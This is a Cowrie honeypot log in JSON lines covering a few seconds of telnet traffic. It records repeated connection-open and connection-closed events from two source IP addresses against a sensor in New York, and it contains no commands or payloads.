{"eventid":"cowrie.session.closed","duration":31.473498821258545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.690184Z","src_ip":"208.115.200.90","session":"0020842a0ecc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.684280157089233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:27.745350Z","src_ip":"208.115.219.122","session":"b6897a94f857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928247928619385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.013228Z","src_ip":"208.115.219.122","session":"f477a1667a16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524475812911987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.035446Z","src_ip":"208.115.219.122","session":"47001d496c03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39218,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c47f448cc4e","protocol":"telnet","message":"New connection: 208.115.219.122:39218 (10.17.0.5:23) [session: 5c47f448cc4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.058698Z"}
{"eventid":"cowrie.session.closed","duration":30.865492343902588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.078991Z","src_ip":"208.115.219.122","session":"749553a0ec39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871415376663208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.089467Z","src_ip":"208.115.219.122","session":"b1979ed3261b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88653063774109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.132792Z","src_ip":"208.115.200.90","session":"e5e8b604d502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037165880203247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.220538Z","src_ip":"208.115.219.122","session":"01a89b93a917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61564302444458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.269442Z","src_ip":"208.115.219.122","session":"3065bb4fd326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56384,"dst_ip":"10.17.0.5","dst_port":23,"session":"459a4dff2cf4","protocol":"telnet","message":"New connection: 208.115.200.90:56384 (10.17.0.5:23) [session: 459a4dff2cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.299751Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39284,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a03e3d6cadc","protocol":"telnet","message":"New connection: 208.115.219.122:39284 (10.17.0.5:23) [session: 4a03e3d6cadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.312267Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56534,"dst_ip":"10.17.0.5","dst_port":23,"session":"32c253e17b3c","protocol":"telnet","message":"New connection: 208.115.200.90:56534 (10.17.0.5:23) [session: 32c253e17b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.526522Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":56780,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2090c7eda62","protocol":"telnet","message":"New connection: 208.115.200.90:56780 (10.17.0.5:23) [session: f2090c7eda62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.688883Z"}
{"eventid":"cowrie.session.closed","duration":31.858327627182007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.932477Z","src_ip":"208.115.219.122","session":"ac41db53bea1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39510,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca8ffe8d25c6","protocol":"telnet","message":"New connection: 208.115.219.122:39510 (10.17.0.5:23) [session: ca8ffe8d25c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:28.937162Z"}
{"eventid":"cowrie.session.closed","duration":30.342873096466064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.024495Z","src_ip":"208.115.219.122","session":"e679323da0b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57298,"dst_ip":"10.17.0.5","dst_port":23,"session":"af78946bf819","protocol":"telnet","message":"New connection: 208.115.200.90:57298 (10.17.0.5:23) [session: af78946bf819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.030499Z"}
{"eventid":"cowrie.session.closed","duration":30.796633005142212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.090204Z","src_ip":"208.115.219.122","session":"895c82b9b61b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39558,"dst_ip":"10.17.0.5","dst_port":23,"session":"0becdb1ea532","protocol":"telnet","message":"New connection: 208.115.219.122:39558 (10.17.0.5:23) [session: 0becdb1ea532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.116832Z"}
{"eventid":"cowrie.session.closed","duration":30.38737440109253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.133433Z","src_ip":"208.115.219.122","session":"89d82ac2a053","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629758596420288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.146224Z","src_ip":"208.115.200.90","session":"ff4a06b0cc0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39592,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eb8e67ab3b1","protocol":"telnet","message":"New connection: 208.115.219.122:39592 (10.17.0.5:23) [session: 6eb8e67ab3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.207733Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57424,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e38d83fb19","protocol":"telnet","message":"New connection: 208.115.200.90:57424 (10.17.0.5:23) [session: a1e38d83fb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.335736Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39752,"dst_ip":"10.17.0.5","dst_port":23,"session":"f86bb5340380","protocol":"telnet","message":"New connection: 208.115.219.122:39752 (10.17.0.5:23) [session: f86bb5340380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.504735Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57646,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb3b0635899","protocol":"telnet","message":"New connection: 208.115.200.90:57646 (10.17.0.5:23) [session: feb3b0635899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.534604Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58138,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8642e09754c","protocol":"telnet","message":"New connection: 208.115.200.90:58138 (10.17.0.5:23) [session: a8642e09754c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.736494Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58362,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ff8c1dbc45","protocol":"telnet","message":"New connection: 208.115.200.90:58362 (10.17.0.5:23) [session: 26ff8c1dbc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:29.858035Z"}
{"eventid":"cowrie.session.closed","duration":30.16476273536682,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.035303Z","src_ip":"208.115.219.122","session":"e30954980d42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40200,"dst_ip":"10.17.0.5","dst_port":23,"session":"1862a1ffa447","protocol":"telnet","message":"New connection: 208.115.219.122:40200 (10.17.0.5:23) [session: 1862a1ffa447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.045227Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cbfed78147a","protocol":"telnet","message":"New connection: 208.115.219.122:40212 (10.17.0.5:23) [session: 2cbfed78147a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.062031Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40224,"dst_ip":"10.17.0.5","dst_port":23,"session":"fda5742997ab","protocol":"telnet","message":"New connection: 208.115.219.122:40224 (10.17.0.5:23) [session: fda5742997ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.066360Z"}
{"eventid":"cowrie.session.closed","duration":30.988731861114502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.070969Z","src_ip":"208.115.219.122","session":"083f607410d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75373125076294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.080079Z","src_ip":"208.115.219.122","session":"635091e85a0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589808702468872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.083994Z","src_ip":"208.115.219.122","session":"03ede31ffd59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58658,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee6f1bdb9d47","protocol":"telnet","message":"New connection: 208.115.200.90:58658 (10.17.0.5:23) [session: ee6f1bdb9d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.148384Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40296,"dst_ip":"10.17.0.5","dst_port":23,"session":"337ebc7d30c9","protocol":"telnet","message":"New connection: 208.115.219.122:40296 (10.17.0.5:23) [session: 337ebc7d30c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.201505Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40284,"dst_ip":"10.17.0.5","dst_port":23,"session":"31e30c6d7923","protocol":"telnet","message":"New connection: 208.115.219.122:40284 (10.17.0.5:23) [session: 31e30c6d7923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.209419Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58674,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7cbf30f122","protocol":"telnet","message":"New connection: 208.115.200.90:58674 (10.17.0.5:23) [session: bf7cbf30f122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.213661Z"}
{"eventid":"cowrie.session.closed","duration":30.49213218688965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.221169Z","src_ip":"208.115.219.122","session":"14ec9f362d10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73247265815735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.258656Z","src_ip":"208.115.219.122","session":"44fe8d9448f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58682,"dst_ip":"10.17.0.5","dst_port":23,"session":"84aac2c6a3df","protocol":"telnet","message":"New connection: 208.115.200.90:58682 (10.17.0.5:23) [session: 84aac2c6a3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.287282Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58686,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8343eac67b","protocol":"telnet","message":"New connection: 208.115.200.90:58686 (10.17.0.5:23) [session: ad8343eac67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.292380Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59074,"dst_ip":"10.17.0.5","dst_port":23,"session":"ada943989969","protocol":"telnet","message":"New connection: 208.115.200.90:59074 (10.17.0.5:23) [session: ada943989969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.620594Z"}
{"eventid":"cowrie.session.closed","duration":31.483248472213745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.678501Z","src_ip":"208.115.219.122","session":"eda79e52e216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59622,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca088e57d408","protocol":"telnet","message":"New connection: 208.115.200.90:59622 (10.17.0.5:23) [session: ca088e57d408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.925735Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40708,"dst_ip":"10.17.0.5","dst_port":23,"session":"57c50d3b09c4","protocol":"telnet","message":"New connection: 208.115.219.122:40708 (10.17.0.5:23) [session: 57c50d3b09c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:30.931318Z"}
{"eventid":"cowrie.session.closed","duration":30.112438917160034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.027899Z","src_ip":"208.115.219.122","session":"9dacd1766b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86500358581543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.039542Z","src_ip":"208.115.219.122","session":"c46d5d636b00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40792,"dst_ip":"10.17.0.5","dst_port":23,"session":"07187f01f91d","protocol":"telnet","message":"New connection: 208.115.219.122:40792 (10.17.0.5:23) [session: 07187f01f91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.043454Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40776,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fd880b83569","protocol":"telnet","message":"New connection: 208.115.219.122:40776 (10.17.0.5:23) [session: 6fd880b83569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.050449Z"}
{"eventid":"cowrie.session.closed","duration":30.44214653968811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.054346Z","src_ip":"208.115.219.122","session":"47c0546301e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824798583984375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.057992Z","src_ip":"208.115.219.122","session":"e036de8ef879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40794,"dst_ip":"10.17.0.5","dst_port":23,"session":"00a9945d5a36","protocol":"telnet","message":"New connection: 208.115.219.122:40794 (10.17.0.5:23) [session: 00a9945d5a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.076422Z"}
{"eventid":"cowrie.session.closed","duration":30.89195442199707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.082529Z","src_ip":"208.115.219.122","session":"56dd8f169004","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40804,"dst_ip":"10.17.0.5","dst_port":23,"session":"92229fd3b87a","protocol":"telnet","message":"New connection: 208.115.219.122:40804 (10.17.0.5:23) [session: 92229fd3b87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.116383Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59768,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75354c057e2","protocol":"telnet","message":"New connection: 208.115.200.90:59768 (10.17.0.5:23) [session: f75354c057e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.139507Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":40806,"dst_ip":"10.17.0.5","dst_port":23,"session":"faf784dfcec6","protocol":"telnet","message":"New connection: 208.115.219.122:40806 (10.17.0.5:23) [session: faf784dfcec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.159035Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59780,"dst_ip":"10.17.0.5","dst_port":23,"session":"faf84eb91cb0","protocol":"telnet","message":"New connection: 208.115.200.90:59780 (10.17.0.5:23) [session: faf84eb91cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.226797Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59784,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d87872a7be","protocol":"telnet","message":"New connection: 208.115.200.90:59784 (10.17.0.5:23) [session: 99d87872a7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.362180Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59794,"dst_ip":"10.17.0.5","dst_port":23,"session":"f64a9f457946","protocol":"telnet","message":"New connection: 208.115.200.90:59794 (10.17.0.5:23) [session: f64a9f457946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.366219Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59804,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb0fbeb9625","protocol":"telnet","message":"New connection: 208.115.200.90:59804 (10.17.0.5:23) [session: 4bb0fbeb9625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.369921Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59858,"dst_ip":"10.17.0.5","dst_port":23,"session":"871d6b505af2","protocol":"telnet","message":"New connection: 208.115.200.90:59858 (10.17.0.5:23) [session: 871d6b505af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.440805Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59988,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a4bb04b1cdd","protocol":"telnet","message":"New connection: 208.115.200.90:59988 (10.17.0.5:23) [session: 5a4bb04b1cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.545334Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60520,"dst_ip":"10.17.0.5","dst_port":23,"session":"8200a2089222","protocol":"telnet","message":"New connection: 208.115.200.90:60520 (10.17.0.5:23) [session: 8200a2089222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.948083Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60540,"dst_ip":"10.17.0.5","dst_port":23,"session":"787c092c4818","protocol":"telnet","message":"New connection: 208.115.200.90:60540 (10.17.0.5:23) [session: 787c092c4818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:31.957150Z"}
{"eventid":"cowrie.session.closed","duration":30.089961051940918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.019185Z","src_ip":"208.115.219.122","session":"15f0192b41ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60622,"dst_ip":"10.17.0.5","dst_port":23,"session":"24ff931e3fc2","protocol":"telnet","message":"New connection: 208.115.200.90:60622 (10.17.0.5:23) [session: 24ff931e3fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.033419Z"}
{"eventid":"cowrie.session.closed","duration":30.94666075706482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.037009Z","src_ip":"208.115.219.122","session":"8e10ee00ddac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679463148117065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.040324Z","src_ip":"208.115.219.122","session":"92f17b099100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874393463134766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.043597Z","src_ip":"208.115.219.122","session":"2f208a8ed751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649008989334106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.076365Z","src_ip":"208.115.219.122","session":"60e445ee84b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004727125167847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.081353Z","src_ip":"208.115.219.122","session":"73c11af0adfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41048,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc0e35c8799","protocol":"telnet","message":"New connection: 208.115.219.122:41048 (10.17.0.5:23) [session: ddc0e35c8799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.089713Z"}
{"eventid":"cowrie.session.closed","duration":31.007274627685547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.154284Z","src_ip":"208.115.219.122","session":"a68f955875b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60662,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a106071780","protocol":"telnet","message":"New connection: 208.115.200.90:60662 (10.17.0.5:23) [session: 90a106071780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.234721Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41122,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac92480660d3","protocol":"telnet","message":"New connection: 208.115.219.122:41122 (10.17.0.5:23) [session: ac92480660d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.240672Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60688,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b6fbb7be1f","protocol":"telnet","message":"New connection: 208.115.200.90:60688 (10.17.0.5:23) [session: 45b6fbb7be1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.245911Z"}
{"eventid":"cowrie.session.closed","duration":30.92792320251465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.277887Z","src_ip":"208.115.219.122","session":"2514e0281e9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60716,"dst_ip":"10.17.0.5","dst_port":23,"session":"deea7d678022","protocol":"telnet","message":"New connection: 208.115.200.90:60716 (10.17.0.5:23) [session: deea7d678022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.368959Z"}
